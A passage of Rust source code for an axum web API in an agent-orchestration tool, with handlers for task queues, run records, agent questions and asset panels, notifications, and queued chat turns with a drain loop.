4536 return Err(ApiError::not_found(format!(
4537 "no runs recorded against repo `{repo}`"
4538 )));
4539 }
4540 stats::collect_refs(filtered)
4541 }
4542 None => stats::collect(&states),
4543 };
4544 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
4545 Ok(Json(StatsView {
4546 totals: StatsTotalsView::from(&collected.totals),
4547 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
4548 reviewers: collected
4549 .reviewers
4550 .iter()
4551 .map(ReviewerStatsView::from)
4552 .collect(),
4553 advisors: collected
4554 .advisors
4555 .iter()
4556 .map(AdvisorStatsView::from)
4557 .collect(),
4558 e2e: E2eStatsView::from(&collected.e2e),
4559 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
4560 queue: TaskCountsView::from(queue_counts),
4561 runs_unreadable: runs_unreadable(&ui.runs),
4562 repos,
4563 repo: q.repo.clone(),
4564 }))
4565 })
4566 .await
4567}
4568
4569#[derive(Debug, Default, Deserialize)]
4572#[serde(default, deny_unknown_fields)]
4573struct HoldBody {
4574 reason: Option<String>,
4575}
4576
4577async fn queue_hold(
4578 State(ui): State<Arc<Ui>>,
4579 Path(id): Path<String>,
4580 body: std::result::Result<Json<HoldBody>, JsonRejection>,
4581) -> ApiResult<Json<TaskView>> {
4582 let body = match body {
4586 Ok(Json(body)) => body,
4587 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
4588 Err(e) => return Err(ApiError::bad_request(e.body_text())),
4589 };
4590 let reason = body.reason.filter(|r| !r.trim().is_empty());
4591 mutate(ui, id, move |t| {
4592 t.hold_manual(reason.clone());
4593 Ok(())
4594 })
4595 .await
4596}
4597
4598async fn queue_release(
4599 State(ui): State<Arc<Ui>>,
4600 Path(id): Path<String>,
4601) -> ApiResult<Json<TaskView>> {
4602 mutate(ui, id, |t| {
4603 t.release();
4604 Ok(())
4605 })
4606 .await
4607}
4608
4609#[derive(Debug, Deserialize)]
4611#[serde(deny_unknown_fields)]
4612struct PriorityBody {
4613 priority: i32,
4614}
4615
4616async fn queue_priority(
4622 State(ui): State<Arc<Ui>>,
4623 Path(id): Path<String>,
4624 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
4625) -> ApiResult<Json<TaskView>> {
4626 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4627 mutate(ui, id, move |t| t.set_priority(body.priority)).await
4628}
4629
4630#[derive(Debug, Deserialize)]
4632#[serde(deny_unknown_fields)]
4633struct EditBody {
4634 title: String,
4635 instruction: String,
4636 #[serde(default)]
4639 force: bool,
4640}
4641
4642async fn queue_edit(
4646 State(ui): State<Arc<Ui>>,
4647 Path(id): Path<String>,
4648 body: std::result::Result<Json<EditBody>, JsonRejection>,
4649) -> ApiResult<Json<TaskView>> {
4650 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4651 let mut judged: Option<(String, PathBuf)> = None;
4655 if !body.force {
4656 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
4657 let (id, text) = (id.clone(), body.instruction.clone());
4658 let (seen, hits) = blocking(move || {
4659 let id = resolve_task(&queue, &id)?;
4660 let t = queue.get(&id)?;
4661 if text == t.instruction {
4662 return Ok((None, Vec::new()));
4663 }
4664 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
4665 Ok((Some((t.instruction, t.repo)), hits))
4666 })
4667 .await?;
4668 if let Some((_, repo)) = &seen {
4669 let cfg = crate::config::Config::discover(repo, None)
4670 .ok()
4671 .map(|(c, _)| c);
4672 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
4673 .await
4674 .map_err(|dup| {
4675 ApiError::conflict(dup.render(
4676 "Nothing was saved. If it is not a duplicate, repeat the request with \
4677 \"force\": true.",
4678 ))
4679 })?;
4680 }
4681 judged = seen;
4682 }
4683 let force = body.force;
4684 mutate(ui, id, move |t| {
4685 if !force && body.instruction != t.instruction {
4686 match &judged {
4687 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
4688 _ => {
4689 anyhow::bail!("the task changed while it was being checked; repeat the request")
4690 }
4691 }
4692 }
4693 t.edit(body.title.clone(), body.instruction.clone())
4694 })
4695 .await
4696}
4697
4698async fn queue_done(
4706 State(ui): State<Arc<Ui>>,
4707 Path(id): Path<String>,
4708) -> ApiResult<Json<TaskView>> {
4709 let home = ui.home.clone();
4710 mutate(ui, id, move |t| {
4711 t.succeed();
4712 crate::daemon::supersede_prior_runs(t, &home);
4720 Ok(())
4721 })
4722 .await
4723}
4724
4725async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4733 blocking(move || {
4734 let id = resolve_task(&ui.queue, &id)?;
4735 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
4736 ui.queue
4737 .remove(&id, in_flight, &ui.questions)
4738 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
4739 Ok(StatusCode::NO_CONTENT)
4740 })
4741 .await
4742}
4743
4744async fn mutate(
4753 ui: Arc<Ui>,
4754 id: String,
4755 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
4756) -> ApiResult<Json<TaskView>> {
4757 blocking(move || {
4758 let id = resolve_task(&ui.queue, &id)?;
4759 let _claim = ui.queue.claim(&id).map_err(|e| {
4764 ApiError::conflict(format!(
4765 "{e:#} - a daemon is running this task, so it cannot be \
4766 changed from here yet"
4767 ))
4768 })?;
4769 let mut task = ui.queue.get(&id)?;
4770 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
4771 Ok(dup) => ApiError::conflict(dup.render(
4772 "Nothing was saved. If it is not a duplicate, repeat the request with \
4773 \"force\": true.",
4774 )),
4775 Err(e) => ApiError::bad_request_from(e),
4776 })?;
4777 ui.queue.put(&mut task)?;
4778 Ok(Json(TaskView::from(task)))
4779 })
4780 .await
4781}
4782
4783async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
4791 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
4792 tokio::spawn(async move {
4793 let mut ticker = tokio::time::interval(POLL);
4794 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
4795 loop {
4796 ticker.tick().await;
4799 let state = Arc::clone(&ui);
4800 let revisions = tokio::task::spawn_blocking(move || {
4801 (
4802 state.queue.revision(),
4803 runs_revision(&state.runs),
4804 state.questions.revision(),
4805 state.talks.revision(),
4806 state.notices.revision(),
4807 state.lock_loop().rev,
4811 )
4812 })
4813 .await;
4814 let Ok(revisions) = revisions else { break };
4815 if last == Some(revisions) {
4816 continue;
4817 }
4818 last = Some(revisions);
4819 let payload = serde_json::json!({
4820 "queue_rev": revisions.0,
4821 "runs_rev": revisions.1,
4822 "questions_rev": revisions.2,
4823 "talks_rev": revisions.3,
4824 "notifications_rev": revisions.4,
4825 "loop_rev": revisions.5,
4826 });
4827 let Ok(event) = Event::default().event("change").json_data(payload) else {
4829 break;
4830 };
4831 if tx.send(event).await.is_err() {
4832 break;
4833 }
4834 }
4835 });
4836 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
4837 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
4838}
4839
4840fn runs_revision(runs: &FsPath) -> u64 {
4847 use std::hash::{Hash as _, Hasher as _};
4848
4849 let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
4850 .into_iter()
4851 .flatten()
4852 .flatten()
4853 .filter_map(|e| {
4854 let path = e.path().join("run.json");
4855 let mtime = path
4856 .metadata()
4857 .ok()?
4858 .modified()
4859 .ok()?
4860 .duration_since(std::time::UNIX_EPOCH)
4861 .ok()?
4862 .as_millis() as u64;
4863 let id = e.file_name().to_string_lossy().into_owned();
4864 Some((id, mtime))
4865 })
4866 .collect();
4867
4868 if entries.is_empty() {
4869 return 0;
4870 }
4871
4872 entries.sort_unstable();
4873 let mut hasher = std::hash::DefaultHasher::new();
4874 for (id, mtime) in &entries {
4875 id.hash(&mut hasher);
4876 mtime.hash(&mut hasher);
4877 }
4878 let h = hasher.finish();
4879 if h == 0 { 1 } else { h }
4880}
4881
4882fn run_ids(runs: &FsPath) -> Vec<String> {
4888 let mut ids: Vec<String> = std::fs::read_dir(runs)
4889 .into_iter()
4890 .flatten()
4891 .flatten()
4892 .filter(|e| e.path().join("run.json").is_file())
4893 .map(|e| e.file_name().to_string_lossy().into_owned())
4894 .collect();
4895 ids.sort_unstable_by(|a, b| b.cmp(a));
4897 ids
4898}
4899
4900fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
4902 let path = runs.join(id).join("run.json");
4903 let body =
4904 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
4905 let state: RunState =
4906 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
4907 run::migrate_schema(state)
4912}
4913
4914#[must_use]
4922pub fn runs_unreadable(runs: &FsPath) -> usize {
4923 run_ids(runs)
4924 .into_iter()
4925 .filter(|id| read_run(runs, id).is_err())
4926 .count()
4927}
4928
4929fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
4931 if runs.join(id).join("run.json").is_file() {
4932 return Ok(id.to_owned());
4933 }
4934 pick(run_ids(runs), id, "run")
4935}
4936
4937fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
4939 if queue.path_of(id).is_file() {
4940 return Ok(id.to_owned());
4941 }
4942 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
4943}
4944
4945#[derive(Debug, Serialize)]
4956struct QuestionView {
4957 #[serde(flatten)]
4958 question: Question,
4959 detail_md: Vec<md::Node>,
4960 thread_bodies_md: Vec<Vec<md::Node>>,
4962 waiting_on_agent: bool,
4972 holder: Option<&'static str>,
4976 deputies_enabled: bool,
4980 run_is_task: bool,
4983}
4984
4985impl QuestionView {
4986 fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
4990 let base = md::ImageBase::QuestionPanel {
4991 id: question.id.clone(),
4992 };
4993 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
4994 Self {
4995 detail_md: md::to_nodes(&question.detail, &base),
4996 thread_bodies_md: question
4997 .thread
4998 .iter()
4999 .map(|t| md::to_nodes(&t.body, &base))
5000 .collect(),
5001 waiting_on_agent: question.waiting_on_agent(),
5002 holder,
5003 deputies_enabled,
5004 run_is_task: question.run_names_task(),
5005 question,
5006 }
5007 }
5008}
5009
5010fn deputies_enabled(repo: &std::path::Path, q: &Question) -> bool {
5012 let cfg = Config::discover(repo, None).ok().map(|(c, _)| c);
5013 crate::deputy::can_start(cfg.as_ref(), crate::deputy::agent_of(q))
5014}
5015
5016fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
5026 if !q.status.open() {
5027 return None;
5028 }
5029 if q.cwd.is_none() && q.deputy.is_none() {
5030 return matches!(
5031 q.node.as_str(),
5032 crate::conduct::NODE | crate::land::APPROVAL_NODE
5033 )
5034 .then_some("nobody");
5035 }
5036 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
5037 Some(_) if q.deputy.is_some() => "deputy",
5038 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
5039 Some(_) => "asker",
5040 None => "nobody",
5041 })
5042}
5043
5044async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
5050 blocking(move || {
5051 Ok(Json(
5052 ui.questions
5053 .list()
5054 .into_iter()
5055 .map(|q| {
5056 let on = deputies_enabled(&ui.repo, &q);
5057 QuestionView::of(q, &ui.questions, on)
5058 })
5059 .collect(),
5060 ))
5061 })
5062 .await
5063}
5064
5065async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5068 blocking(move || {
5069 let items = ui.notices.list();
5070 let unread = items.iter().filter(|n| n.unread()).count();
5071 Ok(Json(
5072 serde_json::json!({ "unread": unread, "items": items }),
5073 ))
5074 })
5075 .await
5076}
5077
5078fn notice_error(e: anyhow::Error) -> ApiError {
5079 ApiError::not_found(format!("{e:#}"))
5082}
5083
5084async fn notification_read(
5086 State(ui): State<Arc<Ui>>,
5087 Path(id): Path<String>,
5088) -> ApiResult<Json<Notice>> {
5089 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
5090}
5091
5092async fn notification_dismiss(
5094 State(ui): State<Arc<Ui>>,
5095 Path(id): Path<String>,
5096) -> ApiResult<Json<Notice>> {
5097 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
5098}
5099
5100async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5102 blocking(move || {
5103 let changed = ui.notices.mark_all_read()?;
5104 Ok(Json(serde_json::json!({ "marked": changed })))
5105 })
5106 .await
5107}
5108
5109#[derive(Debug, Default, Deserialize)]
5115#[serde(default, deny_unknown_fields)]
5116struct NewAnswer {
5117 choice: Option<String>,
5118 text: Option<String>,
5119}
5120
5121async fn question_answer(
5122 State(ui): State<Arc<Ui>>,
5123 Path(id): Path<String>,
5124 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
5125) -> ApiResult<Json<QuestionView>> {
5126 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5127 let answer = match (body.choice, body.text) {
5128 (Some(c), None) => Answer::Choice(c),
5129 (None, Some(t)) => Answer::Text(t),
5130 (Some(_), Some(_)) => {
5131 return Err(ApiError::bad_request(
5132 "send either `choice` or `text`, not both",
5133 ));
5134 }
5135 (None, None) => {
5136 return Err(ApiError::bad_request("send a `choice` or a `text`"));
5137 }
5138 };
5139
5140 blocking(move || {
5141 let id = resolve_question(&ui.questions, &id)?;
5142 let q = ui
5143 .questions
5144 .get(&id)
5145 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5146 if !q.status.open() {
5147 return Err(ApiError::conflict(format!(
5151 "question {} is already {}",
5152 q.short(),
5153 q.status.as_str()
5154 )));
5155 }
5156 let (q, ()) = ui
5160 .questions
5161 .update(&q.id, |r| r.answer(answer))
5162 .map_err(ApiError::bad_request_from)?;
5163 let on = deputies_enabled(&ui.repo, &q);
5164 Ok(Json(QuestionView::of(q, &ui.questions, on)))
5165 })
5166 .await
5167}
5168
5169#[derive(Debug, Deserialize)]
5171#[serde(deny_unknown_fields)]
5172struct NewSay {
5173 body: String,
5174}
5175
5176async fn question_say(
5186 State(ui): State<Arc<Ui>>,
5187 Path(id): Path<String>,
5188 body: std::result::Result<Json<NewSay>, JsonRejection>,
5189) -> ApiResult<Json<QuestionView>> {
5190 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5191 blocking(move || {
5192 let id = resolve_question(&ui.questions, &id)?;
5193 let q = ui
5194 .questions
5195 .get(&id)
5196 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5197 if !q.status.open() {
5198 return Err(ApiError::conflict(format!(
5202 "question {} is already {}",
5203 q.short(),
5204 q.status.as_str()
5205 )));
5206 }
5207 let (q, ()) = ui
5210 .questions
5211 .update(&q.id, |r| r.say(body.body))
5212 .map_err(ApiError::bad_request_from)?;
5213 let on = deputies_enabled(&ui.repo, &q);
5214 Ok(Json(QuestionView::of(q, &ui.questions, on)))
5215 })
5216 .await
5217}
5218
5219fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
5221 if store.path_of(id).is_file() {
5222 return Ok(id.to_owned());
5223 }
5224 pick(
5225 store.list().into_iter().map(|q| q.id).collect(),
5226 id,
5227 "question",
5228 )
5229}
5230
5231async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
5246 blocking(move || {
5247 let id = resolve_question(&ui.questions, &id)?;
5248 let Some(html) = ui.questions.panel_html(&id) else {
5249 return Err(ApiError::not_found(format!("question {id} has no panel")));
5250 };
5251 Ok(panel_response(
5252 "text/html; charset=utf-8",
5253 false,
5254 html.into_bytes(),
5255 ))
5256 })
5257 .await
5258}
5259
5260async fn question_asset(
5288 State(ui): State<Arc<Ui>>,
5289 Path((id, name)): Path<(String, String)>,
5290) -> ApiResult<Response> {
5291 if !crate::ask::valid_asset_name(&name) {
5294 return Err(ApiError::bad_request(format!(
5295 "`{name}` is not a usable asset name"
5296 )));
5297 }
5298 blocking(move || {
5299 let id = resolve_question(&ui.questions, &id)?;
5300 let asset = ui
5301 .questions
5302 .panel_asset(&id, &name)
5303 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
5304 let Some(bytes) = asset else {
5305 return Err(ApiError::not_found(format!(
5306 "question {id} has no asset `{name}`"
5307 )));
5308 };
5309 Ok(panel_response(
5310 asset_content_type(&name),
5311 is_svg(&name),
5312 bytes,
5313 ))
5314 })
5315 .await
5316}
5317
5318fn asset_content_type(name: &str) -> &'static str {
5331 match extension(name).as_deref() {
5332 Some("png") => "image/png",
5333 Some("jpg" | "jpeg") => "image/jpeg",
5334 Some("gif") => "image/gif",
5335 Some("webp") => "image/webp",
5336 Some("svg") => "image/svg+xml",
5337 Some("css") => "text/css; charset=utf-8",
5338 Some("txt") => "text/plain; charset=utf-8",
5339 _ => "application/octet-stream",
5340 }
5341}
5342
5343fn is_svg(name: &str) -> bool {
5346 extension(name).as_deref() == Some("svg")
5347}
5348
5349fn extension(name: &str) -> Option<String> {
5351 name.rsplit_once('.')
5352 .map(|(_, ext)| ext.to_ascii_lowercase())
5353}
5354
5355fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
5372 let mut res = (
5373 [
5374 (header::CONTENT_TYPE, content_type),
5375 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
5376 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
5377 (header::REFERRER_POLICY, "no-referrer"),
5378 ],
5379 body,
5380 )
5381 .into_response();
5382 if download {
5383 res.headers_mut().insert(
5384 header::CONTENT_DISPOSITION,
5385 HeaderValue::from_static("attachment"),
5386 );
5387 }
5388 res
5389}
5390
5391#[derive(Debug, Serialize)]
5397struct TalkView {
5398 #[serde(flatten)]
5399 talk: Talk,
5400 turn_bodies_md: Vec<Vec<md::Node>>,
5401 thinking: bool,
5409 context: talk::ContextUsage,
5413}
5414
5415impl TalkView {
5416 fn new(talk: Talk, thinking: bool) -> Self {
5419 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
5420 Self::with_config(talk, thinking, cfg.as_ref())
5421 }
5422
5423 fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
5426 let context = talk::context_usage(&talk, cfg);
5427 let turn_bodies_md = talk
5428 .turns
5429 .iter()
5430 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
5431 .collect();
5432 Self {
5433 turn_bodies_md,
5434 thinking,
5435 context,
5436 talk,
5437 }
5438 }
5439}
5440
5441#[derive(Debug, Serialize)]
5446struct TalkDetailView {
5447 #[serde(flatten)]
5448 view: TalkView,
5449 tasks: Vec<TaskView>,
5450 roster: Vec<RosterEntry>,
5453}
5454
5455#[derive(Debug, Serialize)]
5457struct RosterEntry {
5458 id: String,
5459 kind: AgentKind,
5460 runnable: bool,
5462}
5463
5464async fn talks_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TalkView>>> {
5469 blocking(move || {
5470 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
5471 Ok(Json(
5472 ui.talks
5473 .list()
5474 .into_iter()
5475 .map(|talk| {
5476 let thinking = ui.is_thinking(&talk.id);
5477 let cfg = configs
5478 .entry(talk.repo.clone())
5479 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
5480 TalkView::with_config(talk, thinking, cfg.as_ref())
5481 })
5482 .collect(),
5483 ))
5484 })
5485 .await
5486}
5487
5488#[derive(Debug, Default, Deserialize)]
5493#[serde(default)]
5494struct NewTalk {
5495 agent: Option<String>,
5496 repo: Option<PathBuf>,
5497}
5498
5499async fn talk_post(
5502 State(ui): State<Arc<Ui>>,
5503 body: std::result::Result<Json<NewTalk>, JsonRejection>,
5504) -> ApiResult<impl IntoResponse> {
5505 let body = match body {
5509 Ok(Json(body)) => body,
5510 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
5511 Err(e) => return Err(ApiError::bad_request(e.body_text())),
5512 };
5513 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
5514 let cfg = config_for(&repo).await?;
5515 let view = blocking(move || {
5516 let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
5517 let thinking = ui.is_thinking(&talk.id);
5518 Ok(TalkView::new(talk, thinking))
5519 })
5520 .await?;
5521 Ok((StatusCode::CREATED, Json(view)))
5522}
5523
5524async fn talk_detail(
5526 State(ui): State<Arc<Ui>>,
5527 Path(id): Path<String>,
5528) -> ApiResult<Json<TalkDetailView>> {
5529 blocking(move || {
5530 let id = resolve_talk(&ui.talks, &id)?;
5531 let talk = ui.talks.get(&id)?;
5532 let thinking = ui.is_thinking(&talk.id);
5533 let tasks = talk::tasks_of(&ui.queue, &talk.id)
5534 .into_iter()
5535 .map(TaskView::from)
5536 .collect();
5537 let roster = Config::discover(&talk.repo, None)
5538 .map(|(cfg, _)| {
5539 cfg.agents
5540 .iter()
5541 .map(|a| RosterEntry {
5542 id: a.id.clone(),
5543 kind: a.kind,
5544 runnable: agent::installed(a),
5545 })
5546 .collect()
5547 })
5548 .unwrap_or_default();
5549 Ok(Json(TalkDetailView {
5550 view: TalkView::new(talk, thinking),
5551 tasks,
5552 roster,
5553 }))
5554 })
5555 .await
5556}
5557
5558#[derive(Debug, Default, Deserialize)]
5564#[serde(default, deny_unknown_fields)]
5565struct NewTalkTurn {
5566 text: String,
5567 attachments: Vec<String>,
5568}
5569
5570#[derive(Debug, Deserialize)]
5571#[serde(deny_unknown_fields)]
5572struct EditTalkPending {
5573 text: String,
5574 expected_text: String,
5575 expected_attachments: Vec<String>,
5576}
5577
5578#[derive(Debug, Deserialize)]
5579#[serde(deny_unknown_fields)]
5580struct ClearTalkPending {
5581 expected_text: String,
5582 expected_attachments: Vec<String>,
5583}
5584
5585async fn talk_say(
5597 State(ui): State<Arc<Ui>>,
5598 Path(id): Path<String>,
5599 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
5600) -> ApiResult<(StatusCode, Json<TalkView>)> {
5601 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5602 if body.text.trim().is_empty() && body.attachments.is_empty() {
5603 return Err(ApiError::bad_request("say something"));
5604 }
5605
5606 let id = {
5607 let ui = Arc::clone(&ui);
5608 let asked = id.clone();
5609 blocking(move || resolve_talk(&ui.talks, &asked)).await?
5610 };
5611 {
5615 let ui = Arc::clone(&ui);
5616 let id = id.clone();
5617 blocking(move || {
5618 let talk = ui.talks.get(&id)?;
5619 if !talk.status.open() {
5620 return Err(ApiError::conflict(format!(
5621 "talk {} is {} and takes no more turns",
5622 talk.short(),
5623 talk.status.as_str()
5624 )));
5625 }
5626 Ok(())
5627 })
5628 .await?;
5629 }
5630
5631 let attachments = {
5636 let ui = Arc::clone(&ui);
5637 let id = id.clone();
5638 let ids = body.attachments.clone();
5639 blocking(move || {
5640 ids.into_iter()
5641 .map(|att_id| {
5642 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
5643 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
5644 })
5645 })
5646 .collect::<ApiResult<Vec<talk::Attachment>>>()
5647 })
5648 .await?
5649 };
5650
5651 let start = {
5656 let ui = Arc::clone(&ui);
5657 let id = id.clone();
5658 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
5659 };
5660 let turn_guard = match start {
5661 TalkTurnStart::Claimed(turn_guard) => turn_guard,
5662 TalkTurnStart::Pending => {
5663 return Err(ApiError::conflict(
5664 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
5665 ));
5666 }
5667 TalkTurnStart::Busy => {
5668 let (tx, rx) = tokio::sync::oneshot::channel();
5684 tokio::spawn({
5685 let ui = Arc::clone(&ui);
5686 let id = id.clone();
5687 let said = body.text.clone();
5688 async move {
5689 let written = blocking({
5690 let ui = Arc::clone(&ui);
5691 let id = id.clone();
5692 move || {
5693 let mut talk = ui.talks.get(&id)?;
5694 #[cfg(test)]
5699 if let Some(gate) = ui
5700 .busy_queue_gate
5701 .lock()
5702 .unwrap_or_else(PoisonError::into_inner)
5703 .take()
5704 {
5705 let _ = gate.reached.send(());
5706 let _ = gate.release.recv();
5707 }
5708 if let Err(error) =
5709 talk::queue(&mut talk, &ui.talks, &said, attachments)
5710 {
5711 if let Ok(fresh) = ui.talks.get(&id) {
5712 if !fresh.status.open() {
5713 return Err(ApiError::conflict(format!(
5714 "talk {} is {} and takes no more turns",
5715 fresh.short(),
5716 fresh.status.as_str()
5717 )));
5718 }
5719 }
5720 return Err(ApiError::from(error));
5721 }
5722 let claim = match ui.begin_queued_talk_turn(&id)? {
5733 Some(turn_guard) => {
5734 let (cfg, _) = Config::discover(&talk.repo, None)?;
5735 Some((talk.clone(), cfg, turn_guard))
5736 }
5737 None => None,
5738 };
5739 let thinking = ui.is_thinking(&id);
5740 Ok((TalkView::new(talk, thinking), claim))
5741 }
5742 })
5743 .await;
5744 let (view, reclaimed) = match written {
5745 Ok(pair) => pair,
5746 Err(e) => {
5747 let _ = tx.send(Err(e));
5752 return;
5753 }
5754 };
5755 let _ = tx.send(Ok(view));
5758 if let Some((talk, cfg, turn_guard)) = reclaimed {
5759 let talks = ui.talks.clone();
5760 drain_loop(talk, talks, cfg, id, turn_guard).await;
5761 }
5762 }
5763 });
5764 let view = rx
5765 .await
5766 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
5767 return Ok((StatusCode::ACCEPTED, Json(view)));
5768 }
5769 };
5770
5771 let (talk, cfg) = {
5772 let ui = Arc::clone(&ui);
5773 let id = id.clone();
5774 blocking(move || {
5775 let talk = ui.talks.get(&id)?;
5776 let (cfg, _) = Config::discover(&talk.repo, None)?;
5777 Ok((talk, cfg))
5778 })
5779 .await?
5780 };
5781
5782 let talks = ui.talks.clone();
5783 let (tx, rx) = tokio::sync::oneshot::channel();
5798 tokio::spawn({
5799 let ui = Arc::clone(&ui);
5800 let talks = talks.clone();
5801 let id = id.clone();
5802 let said = body.text.clone();
5803 let mut talk = talk.clone();
5804 async move {
5805 let recorded = blocking({
5806 let talks = talks.clone();
5807 move || {
5808 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
5809 if let Ok(fresh) = talks.get(&talk.id) {
5810 if !fresh.status.open() {
5811 return Err(ApiError::conflict(format!(
5812 "talk {} is {} and takes no more turns",
5813 fresh.short(),
5814 fresh.status.as_str()
5815 )));
5816 }
5817 }
5818 return Err(ApiError::from(error));
5819 }
5820 Ok((said.trim().to_owned(), talk))
5826 }
5827 })
5828 .await;
5829 let (text, mut talk) = match recorded {
5830 Ok(pair) => pair,
5831 Err(e) => {
5832 let _ = tx.send(Err(e));
5836 return;
5837 }
5838 };
5839 let queued = talk.clone();
5840 let thinking = ui.is_thinking(&id);
5841 let _ = tx.send(Ok((queued, thinking)));
5844
5845 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
5846 tracing::warn!("talk {id} turn failed: {e:#}");
5850 }
5851 drain_loop(talk, talks, cfg, id, turn_guard).await;
5854 }
5855 });
5856
5857 let (queued, thinking) = rx
5858 .await
5859 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
5860
5861 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
5863}
5864
5865async fn talk_pending_resume(
5869 State(ui): State<Arc<Ui>>,
5870 Path(id): Path<String>,
5871) -> ApiResult<(StatusCode, Json<TalkView>)> {
5872 let id = {
5873 let ui = Arc::clone(&ui);
5874 let asked = id.clone();
5875 blocking(move || resolve_talk(&ui.talks, &asked)).await?
5876 };
5877 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
5878 return Err(ApiError::conflict(
5879 "a talk turn is already running; the queued draft will be handled by it",
5880 ));
5881 };
5882 let (talk, cfg) = {
5883 let ui = Arc::clone(&ui);
5884 let id = id.clone();
5885 blocking(move || {
5886 let talk = ui.talks.get(&id)?;
5887 if !talk.status.open() {
5888 return Err(ApiError::conflict(format!(
5889 "talk {} is {} and takes no more turns",
5890 talk.short(),
5891 talk.status.as_str()
5892 )));
5893 }
5894 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
5895 return Err(ApiError::conflict("there is no queued draft to resume"));
5896 }
5897 let (cfg, _) = Config::discover(&talk.repo, None)?;
5898 Ok((talk, cfg))
5899 })
5900 .await?
5901 };
5902 let view = TalkView::new(talk.clone(), true);
5903 let talks = ui.talks.clone();
5904 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
5905 Ok((StatusCode::ACCEPTED, Json(view)))
5906}
5907
5908async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
5924 let live_set = Arc::clone(&turn.turns);
5925 let mut turn = Some(turn);
5933 loop {
5934 let observed = live_set
5938 .lock()
5939 .unwrap_or_else(PoisonError::into_inner)
5940 .queued
5941 .get(&id)
5942 .copied()
5943 .unwrap_or(0);
5944 let drained = blocking({
5945 let talks = talks.clone();
5946 move || {
5947 let result = talk::drain(&mut talk, &talks);
5948 Ok((talk, result))
5949 }
5950 })
5951 .await;
5952 let (next_talk, result) = match drained {
5953 Ok(drained) => drained,
5954 Err(e) => {
5955 tracing::warn!(
5956 status = %e.status,
5957 message = %e.message,
5958 "talk {id} could not start queued-text drain"
5959 );
5960 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
